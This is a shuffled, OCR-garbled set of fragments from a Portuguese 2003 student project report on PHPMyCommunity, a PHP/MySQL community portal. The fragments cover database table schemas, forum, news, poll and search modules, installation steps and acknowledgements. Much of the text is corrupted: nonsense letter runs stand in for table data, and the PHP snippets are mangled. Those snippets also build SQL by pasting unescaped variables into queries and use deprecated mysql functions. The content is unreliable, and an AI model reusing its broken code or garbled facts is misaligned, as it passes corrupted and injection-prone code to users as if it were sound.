24.  JA  OO AO RO OO ILN I A OO RM A ARO A O MAD TSN O S A        Estrutura da tabela forum        DROP TABLE IF EXISTS  forum     CREATE TABLE forum     id_forum  int 100  NOT NULL auto_increment      nome forum varchar 100  NOT NULL default         desc forum varchar  255  NOT NULL default         status varchar 10  NOT NULL default  true     id admin forum int 100  NOT NULL default  0     id forum cat int 100  NOT NULL default  0       nivel forum int 100  NOT NULL default  0       num thread  varchar  255  NOT NULL default         num posts varchar  255  NOT NULL default          posicao int  32  NOT NULL default  1    PRIMARY KEY Cid  forum      TYPE MyISAM COMMENT  tabela para armazenar os foruns de discussao            Extraindo dados da tabela  forum         ERR ES A E E E E SR TE E S AE N E   m AE EE A A E E AO EEN O E AE E AE A SS E O SE SS A E PI ES SE N E E E ENE        Estrutura da tabela    forum cat        DROP TABLE IF EXISTS forum cat     CREATE TABLE forum cat       1d forum cat int  32  NOT NULL auto_increment      nome forum cat varchar 100  NOT NULL default       desc_forum_cat  varchar  255  NOT NULL default      PRIMARY KEY   id forum cat       TYPE MyISAM COMMENT  categorias dos foruns de conversa              Extraindo dados da tabela forum cat          E EE E OE L antenada EE E gasosa ao dr E L E OE AA N antena a NE IE LE A do AE A do pata ads E IA no do AS T A D        Estrutura da tabela  forum_posts         DROP TABLE IF EXISTS  forum_posts     CREATE
25.  O PHPMyCommunity    uma simples plataforma de base  que integra uma quantidade limitada de  m  dulos  todos eles escritos de forma em fornecer uma variedade de op    es que permitem uma elevada  taxa de interac    o com o utilizador  Um m  dulo n  o    mais do que uma funcionalidade acrescentada que    ir   interagir com o visitante e assim criar toda a din  mica do site     5 1  P  gina de entrada     A p  gina de entrada ou    home page       a mais importante de todas as p  ginas porque    ela que  vai ter que cativar a aten    o do visitante  Em poucos segundos  ele tem que entender qual    o objectivo do  site  os servi  os e a informa    o que lhe pode proporcionar  Apresenta se com uma quantidade de     recortes    do site  mostrando tudo o que houver de mais recente colocado na p  gina  Todas as    funcionalidades deste m  dulo s  o geridas por v  rios ficheiros  todos encaminhados pelo home php     5 1 1  Mensagem de boas vindas    A primeira informa    o que vai ser lida    a mensagem de boas vindas ao utilizador  com uma  descri    o da p  gina  criada pelo webmaster da plataforma   Baseando se no conceito de uma p  gina  pessoal  era imperativo ter esta funcionalidade para explicar de imediato ao visitante o objectivo da  p  gina    Esta mensagem    simplesmente gerada com um pedido    base de dados  seguido de uma fun    o  PHP que ser   respons  vel por adaptar o HTML consoante as vari  veis enviadas na fun    o  A mensagem  s      vista enquanto o utilizador n
26.  TABLE forum posts       1d    int 32  NOT NULL auto_increment      titulo varchar  100  NOT NULL default       msg blob NOT NULL      anexo varchar  255  NOT NULL default         data post varchar 10  NOT NULL default         hora post   varchar  10  NOT NULL default       count varchar  255  NOT NULL default       id forum int 32  NOT NULL default  0      P  gina 87    Relat  rio do projecto   PHPMyCommunity     id user int 32  NOT NULL default    DM      id topic int 32  NOT NULL default  0       thread int 32  NOT NULL default  0     ip poster varchar 30  NOT NULL default       mstime  varchar 255  NOT NULL default      PRIMARY KEY   id      TYPE MyISAM COMMENT  tabela para armazenar as mensagens enviadas em cada forum            Extraindo dados da tabela forum posts          E E E E E ns do E O do E o do E os or E E E E EE E E S E N E E E E E E E E E 6 aos        Estrutura da tabela  grupos          DROP TABLE IF EXISTS  grupos     CREATE TABLE    grupos        id    int  32  NOT NULL auto_increment    id grupo int  32  NOT NULL default  0     id_admin_grupo  int 100  NOT NULL default  0       nome grupo varchar  255  NOT NULL default         local grupo varchar 255  NOT NULL default         data dia char 2  NOT NULL default         data mes char 2  NOT NULL default         data ano varchar 4  NOT NULL default       website varchar  255  NOT NULL default         descricao text NOT NULL      contactos varchar  255  NOT NULL default      Gts mvarchar  255  NOT NULL default
27.  conceito do Jakob Nielsen  para que o utilizador final possa ter    um maior cuidado ao redigir o texto final       Excerto da p  gina 51 da tradu    o Francesa do livro     Home Page Usability  50 websites descontructed         Jakob Nielsen e Marie Tahir  ver bibliografia para mais informa    es sobre o livro     P  gina 22    ISMAI O 2003    O que ser   entrar numa loja e n  o ser capaz de identificar imediatamente que tipo  de loja    e que tipo de produto vende     Agora este aspecto aplica se igualmente    p  gina de entrada de qualquer site   seja ele comercial ou n  o       identifica    o dos objectivos    primordial  os visitantes t  m que entender  em  muito pouco tempo o tipo de p  gina que est   a ver e os servi  os que disp  e   Se este pormenor n  o for respeitado  a site ser   um fracasso porque ningu  m  perder   mais tempo em visualizar outras p  ginas sem ter a minima ideia do que  elas poder  o oferecer lhe     Jacob Wielsen     Ilustra    o 10  Janela de apresenta    o do site com a mensagem do Jakob Nielsen        3 3  Base de dados    Em qualquer projecto de aplica    o web  a base de dados    uma das partes fundamentais na  elabora    o do site  Da sua projec    o depende a rapidez e optimiza    o do c  digo  A grande dificuldade foi    criar antecipadamente toda a base de dados     3 3 1  Entidades    O PHPMyCommunity comunica apenas com uma base de dados usando 28 tabelas  tendo o  nome definido pelo utilizador quando executar o script de instala   
28.  de base de    dados como o phpMyAdmin  encontrado na sua p  gina oficial  http   www  phpmyadmin net   O modo de instala    o deste ultimo poder   ser lido em  http   www phpmyadmin net documentation     P  gina 82    ISMAI O 2003    Ap  s a Instala    o  diriga se para a p  gina de administra    o da sua base de dados  seguindo o exemplo    anterior  http   www  omeusite com  account phpMy Admin x x x php      Ter   que criar uma base de dados  usando a ferramenta phpMy Admin   Seleccion   la  e encontrar a op    o que diz     Localiza    o do arquivo de texto       pressionar o  bot  o    browse    e apontar para o ficheiro phpmycommunity sql   A seguir pode clicar no bot  o       executar     Este processo ir   Instalar as tabelas e os campos do PHPMyCommuntty     Configura    o p  s instala    o     1     Para personaliza    o da sua p  gina  ter   que alterar as imagens do topo  Existem duas imagens  para este efeito  logotipo gif e background jpg  ambos na directoria  gfx menu    onde ter   que  editar estas Imagens ao seu gosto  e em rela    o a imagem que pretende comunicar aos seus  visitantes  Poder   encontrar Os ficheiros originais em formato  PSD na pasta     phpMyCommunity v 1 0  help imagens do topo     Foi inclu  do um sistema de estat  sticas denominado    phphits     que permite ter mais informa    es  sobre as visitas que foram efectuadas  A aplica    o foi alterada de tal forma em poder ser inclu  da  no pacote PHPMyCommunity  No entanto  ela foi pr   con
29.  default      PRIMARY KEY  ad     TYPE MyISAM COMMENT   Tabela com as perguntas para as sondagens             Extraindo dados da tabela  poll_perguntas          Een o A SR DO E A E E DOR E FO  o DOS  PS O  EP SS  DO  FO A  PO SO PR MELEG  T O  DO PA        Estrutura da tabela  poll_respostas         DROP TABLE IF EXISTS poll respostas    CREATE TABLE poll respostas     id    int 32  NOT NULL auto_increment      id pergunta int  32  NOT NULL default  0       resposta varchar  255  NOT NULL default       votes int  32  NOT NULL default  0    PRIMARY KEY   1d      TYPE MyISAM COMMENT  Tabela com as respostas possiveis as diferentes sondagens             Extraindo dados da tabela    poll respostas        P  gina 91    Relat  rio do projecto   PHPMyCommunity      Estrutura da tabela    poll voted        DROP TABLE IF EXISTS poll voted    CREATE TABLE poll voted       id    int 32  NOT NULL auto_increment      id pergunta int 32  NOT NULL default  0       1d user int  32  NOT NULL default  0      PRIMARY KEY adr       TYPE MyISAM COMMENT  Tabela com os ID  s das perguntas           Extraindo dados da tabela poll voted          OE E S S ES SE SD SEE SE SEDE SEN SE S EE ES SEE E E N OE SIDES SE E        Estrutura da tabela  regiao         DROP TABLE IF EXISTS regiao      CREATE TABLE regiao       1d int 100  NOT NULL auto_increment      regiao varchar  255  NOT NULL default        PRIMARY KEY   Ld        TYPE MyISAM COMMENT  Esta tabela vai servir para guardar todas as         Extrai
30.  din  mico dando a informa    o  necess  ria ao utilizador  O t  tulo    dividido em tr  s partes  A primeira constitui o nome do site  vai buscar  a informa    o    base de dados   A segunda    a data do servidor que permite ao navegador  Internet  Explorer  Netscape etc    guardar as p  ginas no disco  e se o visitante pretender ver o seu hist  rico  O  cliente web mostra lhe as p  ginas com a data do momento em que foi vista a p  gina  A terceira e a   ltima  parte    o nome da sec    o que esta a ser lida  Tal como a segunda componente  o seu objectivo foi a    navega    o pelo hist  rico  mas tamb  m d   a possibilidade ao utilizador de ver qual    a sec    o que est   a    ser visualizada em qualquer altura       PHPMyCommunity   21 10 2003    sondagens          Ilustra    o 7  Titulo no navegador     3 2 2  Caixas de visualiza    o    bS    Para dar relevo    p  gina  criou se uma fun    o que desenha automaticamente as caixas de  visualiza    o do conte  do  Estas caixas permitir  o ao utilizador ter uma informa    o muito resumida sobre  o conte  do que elas apresentam  e claro o conte  do em si  Tem quatro tipos de informa    o  a primeira    o    cone da caixa  diferente em todos os v  rios m  dulos da plataforma   a segunda informa    o    o t  tulo da  caixa  o nome do que se est   a ver   a terceira    o estado ou informa    o extra  Pretende se informar o  visitante com um pequeno resumo ou com os passos a seguir      basicamente uma pequena ajuda  E  finalment
31.  directa atrav  s do mp4all e email4all  exploradas a seguir   Os  administradores do site s   podem ser definidos pelo dono da plataforma ou pelo respons  vel dos  membros  onde tem uma tabela com todos os privil  gios poss  veis e todos os respons  veis  Esta listagem  possibilita ter uma vis  o clara sobre quais s  o os colaboradores  O seguinte c  digo PHP exemplifica  como    poss  vel buscar este tipo de dados ao MySQL e retornar unicamente os utilizadores com os  privil  gios certos        sgl all users  select id username nivel from login where nivel amp  nivel and  nivel  4095    Sresultado all users  mysql db query    MYSQL_server_bd    sgl all users    Saffected mysql affected rows     if  Saffected gt  1    while  Sregisto all users mysql fetch array  Sresultado all users        Susername Sregisto all users   username       Snivel Sregisto all users  nivel      echo       lt tr pacolor V   FERERERNO gt     lt td widen N 778N  gt Sunsername lt  td gt     lt td width   238   gt   nivel lt  td gt    RO prai     Dj      jelse   echo      lt Er bgcolor   LEPERERO     lt td colspan N 2N  gt  lt center gt N  o existem administradores neste posto  lt  center gt  lt  td gt   o pas    o     P  gina 68    Relat  rio do projecto   PHPMyCommunity    A listagem permite ao gestor de utilizadores efectuar altera    es sobre eles clicando em    editar  privil  gios    bastando lhe seleccionar o que pretende modificar para que o sistema lhe fa  a um resumo dos  direitos de administ
32.  e o dia em que foi inserida  o  n  mero de visitas e o total de respostas  Um detalhe muito importante no FlashForum    na sua amostra de  t  picos  porque    verificado o n  vel do utilizador para apenas mostrar o que o seu privil  gio lhe permite    aceder     Sobre a modera    o no forum    20 visitas   Criticas e Sugest  es     moebios    2 11 2003 as 16 19 4 respostas    Parab  ns 26 visitas   Criticas e Sugest  es     gade 2 2 11 2003 as 01 39 3 respostas    Aten    o Cores 28 visitas   Criticas e Sugest  es      gade    2 11 2003 as 15 28    respostas    Ilustra    o 12   Amostra de resultado gerado pelo PHP        A n  vel de c  digo  a recupera    o da informa    o da base de dados n  o    muito diferente dos  outros tipos de pedidos     de referir a complexidade do pedido SQL   Nota  a vari  vel  nivel user representa o c  digo decimal dos privil  gios do utilizador  e o    SflashForum    o que vai limitar o n  mero de f  runs para recuperar       Ssql last x  select fpos     f nivel forum  f nome forum from forum f   forum posts fpos where nivel forum amp Snivel user  and f id forum fpos id forum and thread 1 order by fpos mstime desc limit  SflashForum      Sresultado last x   mysgl db query   SMYSOL server bd   Ssgl last x    if  Sresultado last x      21 0    while  Sregisto last x    mysql fetch array    resultado_last_x       5 1 4  newsFlash     Directamente ligado ao sistema de not  cia  o newsFlash    um m  dulo  complementar que permite ao visitante ver a
33.  e o seu conte  do  o que n  o acontece com o segundo     Este tipo de resultado em HTML    criado a partir do ficheiro f view thread php  onde    extra  do    o seguinte c  digo PHP que representa como s  o feitos os dois principais pedidos    base de dados     Ssgql list thread  select   from forum posts where id topic  id thread bd order by  mstime limit Sinicio   range    Sresultado list thread  mysql db query   SMYSQL server bd   Segl list thread    at   resultcaco liest chreach  while  Sregisto list thread mysqgl fetch array  Sresultado list thread     Sto Sreqreto lise thread   ras  ST user  registo ligit conrea  ic user    Sdata post Sregisto list thread  data post     Shora  post cregqireto list thread  hora post    Sr ropic Smecasto list thread  ic copie    E    t iculosgregisto list chresa  escultor    SCOCOO POSTS registo list Ehread  msq     Sanexo Sregisto list thread  anexo l   Haja     sStSEsSregisto list chreat ip poster               Pedido SOL para termos toda a informac  o necess  ria sobre o utilizador  Ssql nome user  select id username  icg msn  avatar  data dia  site  assinatura   localidade from login where id  Sid user      Sresultado nome user  mysql db query   SMYSQL server bd   Ssql nome user    if  Sresultado nome user     Sregisto nome user mysqgl fetch array  Sresultado nome user    Sid user Sregisto nome user  id     Susername Sregisto nome user    username     Sicg Sregisto nome user  icg     Smsn Sregisto nome user  msn     Savatar Sregisto 
34.  int  32  NOT NULL auto_increment    id_regiao_membros_offline  int  32  NOT NULL default  0     id_grupo_membros_offline  int  32  NOT NULL default  0     nickname varchar  255  NOT NULL default       nome  membros offline varchar  255  NOT NULL default         idade membros offline tinyint  100  NOT NULL default  0       localidade   membros offline varchar  255  NOT NULL default         hobbies membros offline varchar  255  NOT NULL default         data dia membros offline varchar  20  NOT NULL default  0       data hora membros offline varchar  20  NOT NULL default  0    PRIMARY KEY   id       TYPE MyISAM COMMENT  Membros que pertecem a grupos  mas que nao tem internet               Extraindo dados da tabela  membros_offline        E Aa DM nn E E EE Rn EE E S E PA E E E E N a E Md        Estrutura da tabela  menu         DROP TABLE IF EXISTS menu     CREATE TABLE menu     id    int  32  NOT NULL auto_increment      posicao int  32  NOT NULL default  0     nome item varchar 10  NOT NULL default       url item varchar  250  NOT NULL default       nivel  int  32  NOT NULL default  1     ordem    int  16  NOT NULL default  0    PRIMARY KEY   id       TYPE MyISAM          Extraindo dados da tabela  menu          P  gina 89    Relat  rio do projecto   PHPMyCommunity    INSERT INTO menu  id  posicao   nome item  url item             A         home     index php p index   1  1        links     index php p links   1  10      membros     index php p members   1  3        downloads 
35.  maior sentido de  responsabilidade por parte do gestores  Caso o pedido seja rejeitado o administrador poder    ou n  o   enviar uma mensagem privada ao utilizador  explicando as raz  es que o levou a sua nega    o na sua    inser    o     P  gina 61    Relat  rio do projecto   PHPMyCommunity    CAM  ptjedy   Utilizador em lista de espera  1  ver o pedido     H  mero de utilizadores  0 sem membros   HM  umero de utilizadores sem internet  O  sem membros     Data de funda    o  1 1 2003  Localiza    o  Maia  Website  idem    Descri    o   poe isso direito    Contactos   poe isst      Imagem associada ao seu grupo        ver pedidos      adicionar membro offline         alterar dados do grupo      gest  o dos membros          Ilustra    o 26  Exemplo de resultado com um grupo tendo 1 pedido de inser    o     A gest  o dos membros poder   remover os mesmos no seio de um grupo n  o s    porque como    Ed    respons  vel de um grupo de utilizador    importante comunicar directamente e de forma privada   Desenvolveu se um sistema que proporcionasse o envio de mensagens privadas a todos os membros do  grupo  no entanto  possibilitando um maior controlo da actividade dos grupos  o administrador da  plataforma receber   uma c  pia destas mensagens  precisando este facto no formul  rio de envio     O pr  ximo c  digo PHP evidencia como    realizado o envio das mensagens        sql selected users   select id id grupo from login where id grupo  Sg       Sresultado selected users  mysql 
36.  menu    esquerda  sistema de  busca omnipresente  acesso r  pido a itens da plataforma e claro uma boa visibilidade dos itens   Ao n  vel    do texto teve se o cuidado de real  ar a import  ncia das hiperliga    es com o texto a negrito ou sublinhado       Jakob N   amp  Marie T     L art de la page d accueil     Eyrolles 2002     Tradu    o Francesa do livro  Homepage    Usability  50 websites deconstructed     P  gina 16    ISMAI O 2003    A escolha da coloca    o dos itens foi devidamente pensada de tal forma a equilibrar as zonas  mortas  vazias  mas que ajudem a percep    o dos conte  dos e simplifica a leitura   com as zonas de  conte  do de informa    o e itens de navega    o  de tal forma a poder n  o sobrecarregar as p  ginas     tornando a leitura mais agrad  vel e menos cansativa     3 1 2  Log  tipo e imagem de topo     O mais dif  cil na cria    o de uma plataforma web com perspectivas t  o generalistas como a do  PHPMyCommunity     dar a possibilidade ao utilizador final  webmaster  de personificar o seu portal da  maneira mais simples    Foi  neste ponto de vista  que foi desenvolvido uma componente facilmente adapt  vel ao  utilizador  bastando apenas alterar as duas imagens do topo  substituindo dois ficheiros na  pasta   gfx menu   logotopo gif  e background jpg   As cores da p  gina  cinzento e amarelo  foram escolhidas  para poderem coincidir com qualquer tipo de logotipo  menos aqueles que possuem cores muito garridas  tais como  vermelho  cor de rosa  e
37.  o das tabelas   ver anexos sobre a  Instala    o da plataforma   Cada uma destas tabelas possui v  rios campos  Nesta parte do relat  rio iremos  ver que tipo de dados s  o armazenados em cada uma das tabelas e em cada um dos seus campos     permitindo assim entender melhor o funcionamento da base de dados     Login  tabela suportando toda a informa    o relativa ao utilizador registado  Possui 22 campos  que  possibilitam todas as funcionalidades como inser    o de novo utilizador  recupera    o da palavra chave     visualiza    o da informa    o do membro  defini    o dos seus privil  gios etc      1d   chave prim  ria  identificador do utilizador  cada ID    diferente e auto incrementado   nome  referente ao apelido do utilizador    username     o nome usado para identificar se  escrever no f  rum etc    login     password  palavra chave do utilizador  N  o se tem um acesso directo a ela  Est   codificada   email  endere  o de correio electr  nico do utilizador    hobbies  passatempos  actividades principais do membro    1cg  caso tenha o programa de comunica    o ICQ poder   colocar o seu n  mero    msn  caso esteja registado no msn com  poder   deixar o contacto     avatar  caminho completo da raiz da p  gina at   ao ficheiro que representa o avatar do membro     P  gina 23    Relat  rio do projecto   PHPMyCommunity    data dia  data em que o utilizador fez o registo    data hora  hora em que o registo foi efectuado    Idade  tal como o seu nome indica  representa a ida
38.  pergunta mysgl db query   SMYSQL server bd     sql del pergunta    if  Sresultado del pergunta     S del all   true         Para simplificar a cria    o de uma nova sondagem  todo o processo    efectuado em dois passos  O  primeiro consiste em escrever a pergunta e designar o n  mero de respostas que o administrador deseja  Inserir  O segundo e   ltimo passo    a coloca    o das perguntas  para depois validar o formul  rio  e assim    criar uma nova sondagem     H  mero de respostas possiveis   2    continuar    Pergunta     E    Titulo da sondagem  Data Votos Dp    o   ual  amp  a sua marca de computador preferida  16 10 2003 7 apagar  O que acha do sistema de sondagens   20 10 2003 apagar  O PEHPhiy Community    uma boa plataforma  13 11 2003 apagar    Ilustra    o 37   Exemplo da administra    o de sondagens  Com o primeiro passo da  cria    o de uma nova sondagem        P  gina 77    Relat  rio do projecto   PHPMyCommunity    5 4  Motor de pesquisa    Este motor de busca tem uma caracter  stica espec  fica  ou seja  a pesquisa a ser efectuada     unicamente interna  Assim  toda a informa    o retornada ser   executada de acordo com o conte  do da  plataforma  O motor de pesquisa utiliza a base de dados inerente    plataforma  A sua utiliza    o    bastante  acess  vel  uma vez que  atrav  s de uma ou v  rias palavras  o motor consegue aceder ao SGBD e assim  executar a pesquisa  A palavra inserida tem que ter obrigatoriamente mais de 3 caracteres  Caso contr  rio   a pro
39.  rio a apar  ncia final do menu    seria alterada     A n  vel de c  digo a execu    o din  mica deste objecto levou ao uso de v  rios ficheiros  O    primeiro    o ficheiro de configura    o    config php    onde temos     Ed     ter sempre em aten    o que o car  cter  1     um coment  rio  e n  o    processado pelo PHP                       Smenu gd   true     put true if you want to use a Menu bluid in GD     tSmenu gd   false      can build you menu with a background image  with simple text     P  gina 44    ISMAI O 2003    Basta escolher    true    ou    false    para activar ou desactivar o menu em GD  Caso esteva activado    o menu ser   dinamicamente criado usando a referida biblioteca  o ficheiro    button php    ser      chamado     66 99 ESP AD A    2 2 e   A     pelo    menu php    que lhe transmitir   a vari  vel necess  ria para a cria    o da imagem em tempo real  O   c  digo posterior    um excerto do ficheiro    button php     Entende se como a imagem    criada atrav  s de    t  cnicas de computa    o gr  fica 2D     S nome cat   GETI nome cati     header  Header   Content Type  image png       Sim   ImageCreateFromJPEG  top jpeg       set up image and colours    Sfont height   ImageFontHeight  3      get font dimension  Sfont width   ImageFontWidth  3      Simage height   ImageSY  Sim      get image dimension  Simage width   ImagesSX  Sim         stength   gront width   strlien Snome cat   is gert srcring lengh  Simage center x  Simage width 2   Slength 2  
40.  select id from ap comentarios where id ap   Sid tipo       resultado test its mysal db query   SMYSOL server bd     Ssgl test it    Saffected c mysql affected rows        ess     it   affectecd c  1  1  echo       comentario  Y  e       if  Saffected c51     ecno    Saffected c coment  rios           P  gina 72    ISMAI O 2003    No interior do item est   dispon  vel o conte  do inserido pelo respons  vel da   rea  que pode  introduzir dados como  t  tulo  conte  do da mensagem  selec    o de uma categoria  inser    o de um pre  o   caso seja necess  rio  e imagem  poss  vel s   nos artigos e nos produtos     Este conte  do poder   ser acess  vel por todos  visitante inclusive   mas unicamente os  utilizadores identificados poder  o inserir um coment  rio  Os downloads e os links usam o mesmo  ficheiro  porque ao inv  s dos produtos e artigos  o seu principal conte  do encontra se fora da p  gina  Por  Isso  foi inserida uma hiperliga    o para o documento em quest  o  Caso seja uma liga    o directa para um    ficheiro  o download ser   iniciado automaticamente     php ressourceindex    http iiphp ressourceindex  com    Mais de 6000 scripts  aplica    es  tutoriais sobre PHP e MySQL     Inserido por  gade girl dia 01 10 2003 as 22 51    Coment  rios     Enviado por  user dia 2 10 2003 as 12 30 0     Bom site  por acaso conhe  o  e estou muito contente com ele 1     pi     Ilustra    o 34  Exemplo de como    mostrado um item de uma categoria  Neste caso  uma hiperliga    o  
41.  teve quando mesmo de f  rias estava com o  computador port  til a trabalhar    Ao Eng    Joel Varanda  pelo seu apoio  ajuda  e loucura por ter aceite ser orientador de um  projecto t  o vasto como este       Dr  Susana Pinto  pela semana louca de ajuda    Ao M  rio Dominguez  pela sua enorme ajuda nos gr  ficos  ideias  coment  rios  opini  es   criticas  tempo    Enfim tudo mesmo     Ao M  rio Jo  o S   Morais  pelas suas cr  ticas construtivas    Ao Tiago Evonet Carvalho  pelos conselhos de constru    o do f  rum    Aos meus colegas e amigos de TCM  pelo seu apoio amizade e paci  ncia    Aos meus antigos Professores de TCM  pelos seus conhecimentos  em especial ao Eng    Martins  que teve que me aturar durante 4 anos um grande  Um grande obrigado pela sua exig  ncia  E ao  Eng    Nuno Flores  por me ter ajudado em tantos pontos ess  ncias do meu projecto     Renata  Barbosa pelos seus conselhos metodol  gicos e apoio    Ao Milton Andrade aka Nito  por me ter feito descobrir o Linux    Ao Gon  alo Gomes aka Lucipher  por me ter ajudado no crescimento do interesse pela  seguran  a inform  tica    Ao Jos   Veiga  pela ced  ncia de espa  o no seu servidor    Ao Domingos Fernandes do    C  bula     pela sua simpatia  pequenos almo  os  almo  os e jantares  sem falar na ced  ncia de uma ficha el  ctrica para que pudesse trabalhar no PHPEMyCommunity    todas as tardes da semana durante nove meses     P  gina 5    Relat  rio do projecto   PHPMyCommunity    III   CONTE  DO    E SU
42. 50    ISMAI O 2003     4 Verificar se o Sid    dono da not  cia   sql no cheat  select count  id  as cnt from news where campo nome  Susername   and  Lide  Said  group by da   Sresultado no cheat  mysql db query   SMYSQL server bd   Ssql no cheat    If  Sresultado no cheat     S registo no cheat mysql fetch array  Sresultado no cheat    Sent Sregisto no cheat ent     if  Scnt   1  or Snivel user    4095              Como fol referido h   pouco  a gest  o das categorias    unicamente feita pelo dono do portal  N  o  sendo necess  rio nenhum sistema especial de privil  gio  na medida em que ele    o   nico  podendo assim    criar  editar ou apagar  No entanto  este passo    fundamental porque    definido um respons  vel     Edi    o da categoria de noticia  Moticias PHP    Nome   Not  cias PHE     apenas 25  caracteres     Descri    o  fns  GD  MySQL et        Administrador     Imagem actual   Tamanho m  simo   2dpr  ZEpa       Browse       alterar categoria    Ilustra    o 18   Edi    o da categoria de not  cias        Para simplificar a administra    o do webmaster  caso pretenda apagar uma categoria    avisado  que ser  o removidas todas as not  cias com ela relacionada  Esta funcionalidade foi facilmente realizada    como exemplifica este c  digo PHP realizando dois DELETE  consecutivos      sql delete newsCat  delete from categorias news where id cat news  Sid     Sresultado delete newsCat  mysql db query   SMYSQL server bd   Ssql delete newsCat    if  Sresultado delete ne
43. A E AE E E A E A AE E a a E E A Rd z  s een 19  3 1 7  news Flashear a e e a e E E e EO AEE EAK SEEN E Ke 20   3 1 8  STALS ea EEES E REESS E E R EEEE E A EEE R E E EE ETE E E E 20   32  OUTRAS COMPONENTES GR  FICAS  aus sss Sa DS A E A 21  3 2 1  TE EEE AA AE EAA E EA E E S E A E EAA E ETA AE E E co E E E EN 21   3 2 2  C  ixas devisualiz  t   O nenen EUR EE E E E GU Ra E EO O E E KEKE 21   3 2 3  Titulo d  Nndveg  aGa0 esie are a E E EE E EEE 22   3 2 4  Janela de apresenta    o do site RS ggg ES a t                  t   ee ee   t   t   e    e ee                  etet  s 22   3 3  BASE DE DADOS  muaa a   a Pos ER A gg sek Rg k  t 23  3 3 1  N1001 AAE E A E a a e d  sk  tan 23   3 3 2  Esquema relacional ear se idina O nei E pd o RR ia NEE 31   4  ESTRUTURA DO PHPMYCOMMUNITY cuizacensinniciaiie inducaniessiidara dan bai ncdndda drdo iso d cabia cad ndo ni sz  z sss ssessz s sss ses sss  sszss  s  s  se 32  4 1  INDEX PHP   sszeesett o AR O a E A E ee etetett k  t 32  4 2  MAN PER rs sc carai pa ED Sc a Sa a Sa 32  4 3  ORGANIGRAMA DA RELA    O ENTRE OS FICHEIROS DO PHPMYCOMMUNITY        0    0 sssss   sss ge eeeeeeeeeee      e  e  e  t  t  t  t  t  t  t  teee 33  4 4  CONSTITUI    O DA ESTRUTURA   sz ns and ces a Una da papa Sud cu A da ape SR E RU A DAR RR a aaa 35  4 5  SEGURAN  A isa namoro dO ad    ee t  ldasetk 36  4 5 1  V  rias escalas de pirataria com C S Sossssssssssss    s  s      s  s  s                  t                       ee   t   t                 ee ee ee 
44. A ab A a 18  59  CONTACTOS ori a O E ONES e Se   K   ZE UK AS  S BASE 79   6    CONCLUS  O  ias sa ppa pi dan ES a ARa 80  6 1  OBIECHNMOS ATINGIDOS sua ai SS DS KEKE DN A A a a 80  6 2  OBIECTIVOS FUTUROS sa asas a ad da a Dq a Da a ER a A 81  AA PENDICE  MANUAL DE INSTALA    O sua na Ds E Sa da 82  B APENDICE  CODIGO SOL apanaias ss Rs Cad CU do ca 84  C APENDICE  IMAGENS FINAIS aniran aa EE 93  REFER  NCIAS BIBLIOGRAFICA    ss  esessssoossssscoossssoossssscoosssscosssscccossescossssecoessescossssscoossesoessssscoossssceosssscoessesceossssceessescssssssceesssscessss 95  GLOSSARI Osipa E E N aa 96  INDICE KEMIS SIVO minana EE E E AA 97  COLOFON a a A A cb talo 99    P  gina 7    Relat  rio do projecto   PHPMyCommunity    IV     NDICE DE FIGURAS    lustra    o l  Funcionamento do PP iate ar a RE a 11  Ilustra    o 2  Partilha do mercado de servidores HTTP desde 09 95 at   09 03                 eee e eeeeeeeeeeerereeea 14  Ilustra    o 3   Menu da p  gina criado com imagens din  micas                      sssggg ggg esess                     ee ee                                                 es 19  Tustia    o 4  Eistasem das sonda ens qua niitasace dita caio sarada cb as Ca iu EL a a O a Sae 19  Tusta    o   men DAS torsanas ande dt da A E EE EET 20  Tlustra    o 6   Resultado  HTML das  Stats  seori dela ii aa Da A E a Da a a 20  Ilustra    o   Titulo no navegador nana idea ca OD ua aa ed EE Da es aa a 21    Ilustra    o 8     Caixa de mensagens privadas  que ilustra perf
45. EE NEEE ls e a    qe  oa 40  Sesc     AND PS    sql     campo sujeito like             array  i     or campo msg like    SsSarravISi 5s   or news resumo Re Capo           Esq   order by did limit Simicio  Srange group by ie e    P  gina 78    ISMAI O 2003    5 9  Contactos      ltimo modulo do PHPMyCommunity  essencial pelo seu conte  do  simples pela sua apar  ncia   A p  gina dos contactos foi criada com o objectivo de informar o visitante sobre a forma de entrar em  contacto com o administrador da p  gina  ou comunidade por ele representada     Na   rea de administra    o  o campo dos contactos possui  tal como a caixa de apresenta    o   p  gina inicial  a possibilidade de inserir c  digo HTML  para a cria    o de um resultado mais  personalizado  Foi inserida a possibilidade de inserir imagem pensando nos casos em que poder   existir    um mapa para situar geograficamente o contacto  ou simplesmente  a coloca    o de um log  tipo     PHP Hy Community    Rua do p  o quente  245  Castelo da Maia   PORTO   portugal     Qualquer problema  ou informa    o entrar em contacto com o webmaster por email     gadednetcabo pt ou telemovel  44 440  73497    brevemente em  www  alrsoftportugal  COM    aten    o     e VEM dl        AIRSOFT portugal    Ilustra    o 39     Exemplo de apresenta    o dos contactos        P  gina 79    Relat  rio do projecto   PHPMyCommunity    6  CONCLUS  O    Um projecto como o PHPMyCommunity n  o se pode concluir  porque ter   sempre melhorias e  acabame
46. Evolution 50cm    Ilustra    o 33   Listagem dos itens dentro de uma categoria       A listagem    efectuada com a mesma fun    o para todos os m  dulos  tendo alguma ligeira  varia    o entre os dois ficheiros   como revela o c  digo PHP extra  do do ficheiro ap php  mostrando como       feita a selec    o na base de dados de todas as categorias        pedido SOL para ir buscar todas as categorias de Ctipo  Lif   tipo    produtos     Ssel all _cat  s  select   from ap cat where tipo  prod  tos  order by Ia      Jelse     sql all cat  select   from ap cat where tipo   produtos   order by id         Sresultado all cat  mysal db query   SQMYSOL server ba     Segl all cat         Seguindo com uma selec    o de todos os itens da categoria        Pedido SOL para ir buscar todos os Stipo desta categoria    LE  Stripo   produtos      sql all tipo  select id nome tipo ap cat from ap where tipo  produtos  and  ap cat   ic ceat  order bar     else    sql all tipo  select id nome tipo ap_cat resumo from ap where  tCipol s   procutos  ano ap cat   Sie cat  order bag        Sresultado all tipo  mysal db query   CMYSOL server pd     Segl all tipo         Tal como acontece nas not  cias  onde    diferenciado o plural do singular  Nestes m  dulos foi  elaborada uma pequena t  cnica permitindo a diferencia    o entre um e v  rios coment  rios  O c  digo  transcrito exemplifica como    realizado o pedido    base de dados e a sua Interpreta    o       Saber qtos coment  rios tem    sql test it 
